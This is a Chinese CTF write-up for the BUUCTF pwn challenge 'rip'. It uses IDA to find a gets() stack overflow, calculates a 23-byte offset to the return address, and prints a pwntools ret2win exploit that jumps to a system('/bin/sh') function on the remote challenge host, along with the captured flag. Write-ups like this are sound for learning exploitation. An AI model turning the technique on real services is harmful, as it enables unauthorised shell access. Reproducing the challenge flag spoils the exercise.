BUUCTF(PWN)- rip
打开题目得到靶机信息: node5.buuoj.cn:29045
和附件 pwn1
查看文件信息为 64-bit ,用 ida 打开附件
首先 shift+f12 查找字符串,能看见 system
、/bin/sh
字样,点击 please input
或者 ok,bye!!!
跳转
直接进入 main
函数查看
gets
并没有限制输入,gets
函数的缓冲区由用户提供,由于用户无法指定一次能读入多少字节,gets
函数如果没有读到 \n
结束 ,会一直读入数据,没有上限,存在栈溢出漏洞
双击 s
来到 Stack of main 视图,可以计算出只需存入 15 个字节即可劫持函数返回地址
但是后面还有 db 8 dup(?)
db: 定义字节类型变量的伪指令
dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定
?: 只分配存储空间,不指定初值
所以:偏移量=15+8=23
查找是否有系统调用函数,查看 fun()
函数
fun()
函数就是系统调用函数,起始地址为 0x401186
编写 exp:
from pwn import *
p = remote('node5.buuoj.cn', 29045)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)
p.interactive()
执行
得到flag{0ba8fba1-e9a0-479a-b193-32fb50f0efe3}
exp编写步骤:
from pwn import * #引入pwn库
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
...... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.interactive() # 反弹shell
标签:BUUCTF,函数,rip,pwn,PWN,gets,payload
From: https://www.cnblogs.com/butt3rf1y/p/18438135